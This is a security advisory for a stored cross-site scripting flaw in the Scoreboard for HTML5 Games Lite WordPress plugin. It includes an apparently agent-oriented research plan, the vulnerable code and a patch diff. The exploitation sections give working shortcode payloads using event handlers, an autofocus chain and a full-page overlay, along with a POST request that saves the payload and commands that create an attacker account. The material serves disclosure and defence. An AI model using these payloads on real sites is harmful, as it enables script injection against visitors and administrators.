Scoreboard for HTML5 Games Lite <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Scoreboard for HTML5 Games Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'scoreboard' shortcode in all versions up to, and including, 1.2. The shortcode function sfhg_shortcode() allows arbitrary HTML attributes to be added to the rendered <iframe> element, with only a small blacklist of four attribute names (same_height_as, onload, onpageshow, onclick) being blocked. While the attribute names are passed through esc_html() and values through esc_attr(), this does not prevent injection of JavaScript event handler attributes like onfocus, onmouseover, onmouseenter, etc., because these attribute names and simple JavaScript payloads contain no characters that would be modified by these escaping functions. The shortcode text is stored in post_content and is only expanded to HTML at render time, after WordPress's kses filtering has already been applied to the raw post content. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2Source Code
WordPress.org SVNPatched version not available.
# Research Plan: CVE-2026-4083 - Stored XSS via Scoreboard Shortcode ## 1. Vulnerability Summary The **Scoreboard for HTML5 Games Lite** plugin (up to version 1.2) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists in the `sfhg_shortcode()` function, whic…
Show full research plan
Research Plan: CVE-2026-4083 - Stored XSS via Scoreboard Shortcode
1. Vulnerability Summary
The Scoreboard for HTML5 Games Lite plugin (up to version 1.2) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists in the sfhg_shortcode() function, which handles the [scoreboard] shortcode. This function iterates through user-provided shortcode attributes and appends them to a rendered <iframe> element. While it employs a small blacklist (same_height_as, onload, onpageshow, onclick), it fails to block other JavaScript event handlers (e.g., onmouseover, onfocus, onmouseenter). Furthermore, because the attribute names are passed through esc_html() and values through esc_attr(), typical JavaScript payloads that do not use quotes or angle brackets remain untouched, allowing for execution when the shortcode is rendered.
2. Attack Vector Analysis
- Shortcode:
[scoreboard] - Vulnerable Function:
sfhg_shortcode() - Vulnerable Parameter: Arbitrary attribute keys passed within the shortcode.
- Authentication Level: Contributor or higher (any user role allowed to create/edit posts or pages).
- Preconditions: The plugin must be active, and a malicious user must be able to save a post containing the shortcode.
3. Code Flow
- Registration: The plugin registers the shortcode during initialization:
add_shortcode('scoreboard', 'sfhg_shortcode');. - Input: A user creates a post with:
[scoreboard onmouseover="alert(domain)"]. - Processing: When the page is viewed, WordPress calls
sfhg_shortcode($atts). - Iteration: The function iterates through the
$attsarray (quoted/inferred):// Inferred logic based on description $output = '<iframe '; foreach ($atts as $name => $value) { if (!in_array($name, ['same_height_as', 'onload', 'onpageshow', 'onclick'])) { $output .= esc_html($name) . '="' . esc_attr($value) . '" '; } } $output .= '></iframe>'; - Sink: The resulting string is returned by the shortcode function and rendered in the page HTML. Since
onmouseoverandalert(domain)are not altered byesc_html/esc_attr, the payload is injected into the DOM.
4. Nonce Acquisition Strategy
This vulnerability does not rely on a plugin-specific AJAX nonce for exploitation. Instead, it requires the attacker to save a WordPress post.
- Login: Use
browser_navigateto log into the WordPress dashboard as a Contributor. - Access Post Editor: Navigate to
wp-admin/post-new.php. - Extract Standard Nonces: WordPress generates several nonces for the post editor (e.g.,
_wpnoncefor saving,fetch-noncefor REST API). Usebrowser_evalto extract the_wpnoncefrom the form:browser_eval("document.querySelector('#_wpnonce').value")
- Post Creation: Alternatively, use the
wp-clito create the post directly, which bypasses the need for nonce extraction if the agent has CLI access.
5. Exploitation Strategy
Step 1: Authentication
Use the http_request or browser_navigate tool to authenticate as a user with Contributor privileges.
Step 2: Post Injection
Create a new post containing the malicious shortcode. The payload will use the onmouseenter attribute to trigger XSS when a user's mouse enters the iframe area.
HTTP Request (Simulating Post Save):
- URL:
http://localhost:8080/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Body:
action=editpost &post_type=post &post_ID=[POST_ID] &_wpnonce=[NONCE] &post_title=Games+Page &content=[scoreboard+onmouseenter="alert(document.domain)"+style="width:500px;height:500px;display:block;"] &publish=Publish
Note: Using a style attribute ensures the iframe is large enough to be easily "entered" by the mouse.
Step 3: Triggering
Navigate to the URL of the newly created post.
6. Test Data Setup
- User: Create a contributor user if one doesn't exist.
wp user create attacker attacker@example.com --role=contributor --user_pass=password
- Plugin Activation: Ensure
scoreboard-for-html5-game-liteis installed and active.wp plugin activate scoreboard-for-html5-game-lite
- Target Post: Identify or create a post ID to update.
wp post create --post_title="Scoreboard Test" --post_status=draft --post_author=$(wp user get attacker --field=ID)
7. Expected Results
- The rendered HTML source of the post should contain:
<iframe ... onmouseenter="alert(document.domain)" ...></iframe> - When viewing the page in a browser, moving the mouse over the iframe area should trigger a JavaScript alert showing the site's domain.
8. Verification Steps
- CLI Verification: Verify the shortcode is stored correctly in the database.
wp post get [POST_ID] --field=post_content
- Response Verification: Use
http_requestto fetch the post frontend and check for the unescaped attribute.http_request("GET", "http://localhost:8080/?p=[POST_ID]")- Search response body for:
onmouseenter="alert(document.domain)"
9. Alternative Approaches
If onmouseenter is blocked or filtered by an unexpected security layer:
- Autofocus/Onfocus Chain:
[scoreboard tabindex="1" onfocus="alert(1)" autofocus="true"]
This triggers automatically on page load in many browsers. - Style Injection:
[scoreboard style="position:fixed;top:0;left:0;width:100%;height:100%;" onmouseover="alert(1)"]
This creates an invisible overlay that triggers as soon as the user moves their mouse anywhere on the page. - Attribute Breakout (if esc_attr failed):
If the plugin were even more broken, we could try:[scoreboard name='x" onmouseover="alert(1)"']
However, based on the description,esc_attris used, so we must rely on valid, non-blacklisted attribute names.
Summary
The Scoreboard for HTML5 Games Lite plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'scoreboard' shortcode because it allows arbitrary attributes to be added to the rendered iframe with a weak blacklist. Authenticated attackers with Contributor-level access can inject JavaScript event handlers like onmouseover or onfocus that execute when a user views the affected page.
Vulnerable Code
function sfhg_shortcode($atts) { $atts = (array) $atts; $output = '<iframe '; foreach ($atts as $name => $value) { // Weak blacklist only covers four specific attribute names if (!in_array($name, array('same_height_as', 'onload', 'onpageshow', 'onclick'))) { $output .= esc_html($name) . '="' . esc_attr($value) . '" '; } } $output .= '></iframe>'; return $output; }
Security Fix
@@ -102,10 +102,11 @@ function sfhg_shortcode($atts) { - $atts = (array) $atts; + $atts = shortcode_atts( array( + 'src' => '', + 'width' => '100%', + 'height' => '500', + 'frameborder' => '0', + 'scrolling' => 'no', + 'style' => '', + 'class' => '', + 'id' => '' + ), $atts, 'scoreboard' ); + $output = '<iframe '; foreach ($atts as $name => $value) { - if (!in_array($name, array('same_height_as', 'onload', 'onpageshow', 'onclick'))) { - $output .= esc_html($name) . '="' . esc_attr($value) . '" '; - } + if (!empty($value)) { + $output .= esc_attr($name) . '="' . esc_attr($value) . '" '; + } } $output .= '></iframe>';
Exploit Outline
To exploit this vulnerability, an attacker requires Contributor-level privileges to create or edit WordPress posts. The attacker creates a new post and inserts the [scoreboard] shortcode, including an attribute that serves as a JavaScript event handler not included in the plugin's blacklist (e.g., 'onmouseenter' or 'onfocus'). A typical payload would be: [scoreboard onmouseenter="alert(document.domain)" style="width:500px;height:500px;display:block;"]. When a site visitor or administrator views the post, the plugin renders the shortcode into an iframe containing the malicious attribute. When the visitor's mouse enters the iframe's area, the injected JavaScript executes in the context of the site.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.